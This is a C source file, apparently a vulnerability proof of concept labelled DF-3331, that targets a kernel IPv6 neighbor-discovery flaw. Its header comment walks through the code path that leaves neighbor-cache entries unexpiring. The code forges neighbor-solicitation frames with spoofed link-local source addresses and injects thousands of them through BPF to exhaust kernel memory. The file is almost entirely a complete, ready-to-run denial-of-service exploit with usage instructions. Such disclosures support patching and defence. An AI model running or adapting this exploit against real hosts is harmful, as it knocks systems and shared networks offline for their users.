/*
 * DF-3331 PoC (v2) -- immortal ND6_LLINFO_NOSTATE neighbor-cache entries,
 * injected the way a REAL on-link attacker would: crafted ethernet frames
 * with fully attacker-controlled IPv6 source addresses, fed into the
 * victim's own vtnet0 receive path via BPF write + BIOCFEEDBACK
 * (bpf_output_dispatch(), sys/net/bpf.c:582 -- the frame is both
 * transmitted and delivered to ifp->if_input with rcvif = vtnet0).
 *
 * BUG (sys/netinet6/nd6.c): nd6_ns_input() (nd6_nbr.c:407) calls
 * nd6_cache_lladdr() even when the NS carries NO source link-layer
 * address option.  For a not-yet-cached source this takes
 * nd6_lookup(from, 1, ifp) -> rtrequest(RTM_ADD) -> nd6_rtrequest()
 * (allocates ln; for req==RTM_ADD ln_expire is left 0), nd6_lookup()
 * sets ln_state = ND6_LLINFO_NOSTATE (nd6.c:920-925), and
 * nd6_cache_lladdr() case (6) (nd6.c:1780-1786) keeps NOSTATE with no
 * expiry.  nd6_timer_dispatch() (nd6.c:463-574) has NO case for
 * NOSTATE(-2) and every freeing path requires ln_expire != 0:
 * the entry is immortal (until interface detach / reboot).
 *
 * => one NS frame per distinct spoofed source address == one pinned
 * kernel allocation (rtentry + radix node + llinfo_nd6), unbounded,
 * unauthenticated, line-rate.  Kernel memory exhaustion DoS.
 *
 * PRIVILEGE MODEL: root is needed ONLY to open /dev/bpf on our own test
 * rig.  The frames produced are bit-identical to what any host already
 * on the victim's link can emit; the kernel cannot distinguish them.
 * (v1 of this PoC tried local source aliases + raw ICMPv6 sockets, but
 * (a) AF_INET6 raw sockets cannot spoof the IPv6 source (no HDRINCL)
 * and (b) local aliases grow own-address host routes that make
 * nd6_cache_lladdr's first nd6_lookup(from, 0) succeed, which skips the
 * entry-creation path entirely -- a real attacker's source owns nothing
 * locally, so on a real victim the create path runs.)
 *
 * usage: nsimmort2 -i vtnet0 -t <target-link-local-addr> [-n count]
 *                   [-s (add SLLA option: control)] [-S <start>]
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>

#include <net/bpf.h>
#include <net/if.h>
#include <net/if_dl.h>
#include <net/ethernet.h>

#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>

#include <arpa/inet.h>

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct ether_hdr {
	uint8_t  dst[6];
	uint8_t  src[6];
	uint16_t type;
} __attribute__((packed));

static void
die(const char *s)
{
	fprintf(stderr, "nsimmort2: %s: %s\n", s, strerror(errno));
	exit(1);
}

static uint16_t
cksum16(const uint16_t *p, size_t nbytes, uint32_t sum)
{
	size_t nwords = nbytes / 2;

	while (nwords--)
		sum += *p++;
	if (nbytes & 1)
		sum += htons(((const uint8_t *)p)[0] << 8);
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return ((uint16_t)~sum);
}

int
main(int argc, char **argv)
{
	const char *ifname = "vtnet0";
	const char *target6 = NULL;
	long n = 5000, start = 1, i, ok = 0, fail = 0;
	int ch, bpf, one = 1, withslla = 0;
	unsigned int ifidx;
	struct in6_addr tgt, src, dst6;
	uint8_t frame[128];
	struct ether_hdr *eth = (struct ether_hdr *)frame;
	struct ip6_hdr *ip6 = (struct ip6_hdr *)(frame + sizeof(*eth));
	struct nd_neighbor_solicit *ns =
	    (struct nd_neighbor_solicit *)((uint8_t *)ip6 + sizeof(*ip6));
	uint8_t *opt = (uint8_t *)(ns + 1);
	size_t nslen, framelen;
	struct ifreq ifr;

	while ((ch = getopt(argc, argv, "i:t:n:sS:")) != -1) {
		switch (ch) {
		case 'i': ifname = optarg; break;
		case 't': target6 = optarg; break;
		case 'n': n = atol(optarg); break;
		case 's': withslla = 1; break;
		case 'S': start = atol(optarg); break;
		default: goto usage;
		}
	}
	argc -= optind;
	argv += optind;
	if (!target6 || argc != 0) {
usage:
		fprintf(stderr, "usage: nsimmort2 -t <tgt-LL-addr> "
		    "[-i if] [-n count] [-s] [-S start]\n");
		return (1);
	}

	if (inet_pton(AF_INET6, target6, &tgt) != 1)
		die("inet_pton(target)");

	ifidx = if_nametoindex(ifname);
	if (ifidx == 0)
		die("if_nametoindex");

	/* destination = solicited-node multicast of the target */
	memcpy(&dst6, &tgt, sizeof(dst6));
	dst6.s6_addr16[0] = htons(0xff02);
	dst6.s6_addr16[1] = 0;
	dst6.s6_addr32[1] = 0;
	dst6.s6_addr32[2] = htonl(1);
	dst6.s6_addr8[12] = 0xff;

	if ((bpf = open("/dev/bpf", O_RDWR)) < 0)
		die("open /dev/bpf");
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
	if (ioctl(bpf, BIOCSETIF, &ifr) < 0)
		die("BIOCSETIF");
	if (ioctl(bpf, BIOCSFEEDBACK, &one) < 0)
		die("BIOCSFEEDBACK");

	nslen = sizeof(*ns) + (withslla ? 8 : 0);

	for (i = 0; i < n; i++) {
		ssize_t rc;

		/* --- ethernet header --- */
		eth->dst[0] = 0x33; eth->dst[1] = 0x33;
		eth->dst[2] = 0xff;
		eth->dst[3] = tgt.s6_addr[13];
		eth->dst[4] = tgt.s6_addr[14];
		eth->dst[5] = tgt.s6_addr[15];
		eth->src[0] = 0x02; eth->src[1] = 0x00;
		eth->src[2] = 0x00; eth->src[3] = 0xde;
		eth->src[4] = (uint8_t)(i >> 8);
		eth->src[5] = (uint8_t)i;
		eth->type = htons(ETHERTYPE_IPV6);

		/* --- attacker-chosen IPv6 source: fe80:<ifidx>::i --- */
		memset(&src, 0, sizeof(src));
		src.s6_addr16[0] = htons(0xfe80);
		src.s6_addr16[1] = htons((uint16_t)ifidx); /* scope embed:
			* nd6_is_addr_neighbor() short-circuit, nd6.c:993-995 */
		src.s6_addr16[7] = htons((uint16_t)(start + i));

		/* --- IPv6 header --- */
		ip6->ip6_flow = htonl(6 << 28);
		ip6->ip6_plen = htons(nslen);
		ip6->ip6_nxt = IPPROTO_ICMPV6;
		ip6->ip6_hlim = 255;			/* ND requirement */
		ip6->ip6_src = src;
		ip6->ip6_dst = dst6;

		/* --- NS, NO source link-layer address option --- */
		memset(ns, 0, sizeof(*ns) + (withslla ? 8 : 0));
		ns->nd_ns_hdr.icmp6_type = ND_NEIGHBOR_SOLICIT;
		ns->nd_ns_hdr.icmp6_code = 0;
		ns->nd_ns_target = tgt;
		if (withslla) {
			opt[0] = ND_OPT_SOURCE_LINKADDR;
			opt[1] = 1;			/* 8 bytes */
			memcpy(opt + 2, eth->src, 6);
		}
		{
			uint32_t sum;
			const uint16_t *w;
			uint8_t pseudo[40];

			memcpy(pseudo, &src, 16);
			memcpy(pseudo + 16, &dst6, 16);
			memcpy(pseudo + 32,
			    (uint8_t[]){0,0,0,0, 0,0, (uint8_t)(nslen >> 8),
			    (uint8_t)nslen, 0,0,0, IPPROTO_ICMPV6}, 8);
			w = (const uint16_t *)pseudo;
			sum = 0;
			{
				int k;
				for (k = 0; k < 20; k++)
					sum += w[k];
			}
			ns->nd_ns_hdr.icmp6_cksum =
			    cksum16((const uint16_t *)ns, nslen, sum);
		}

		framelen = sizeof(*eth) + sizeof(*ip6) + nslen;
		rc = write(bpf, frame, framelen);
		if (rc < 0)
			fail++;
		else
			ok++;
		if ((i % 2500) == 2499) {
			printf("nsimmort2: %ld/%ld frames (fail=%ld)\n",
			    i + 1, n, fail);
			fflush(stdout);
		}
	}
	printf("nsimmort2: DONE sent=%ld fail=%ld (slla=%d)\n",
	    ok, fail, withslla);
	return (0);
}
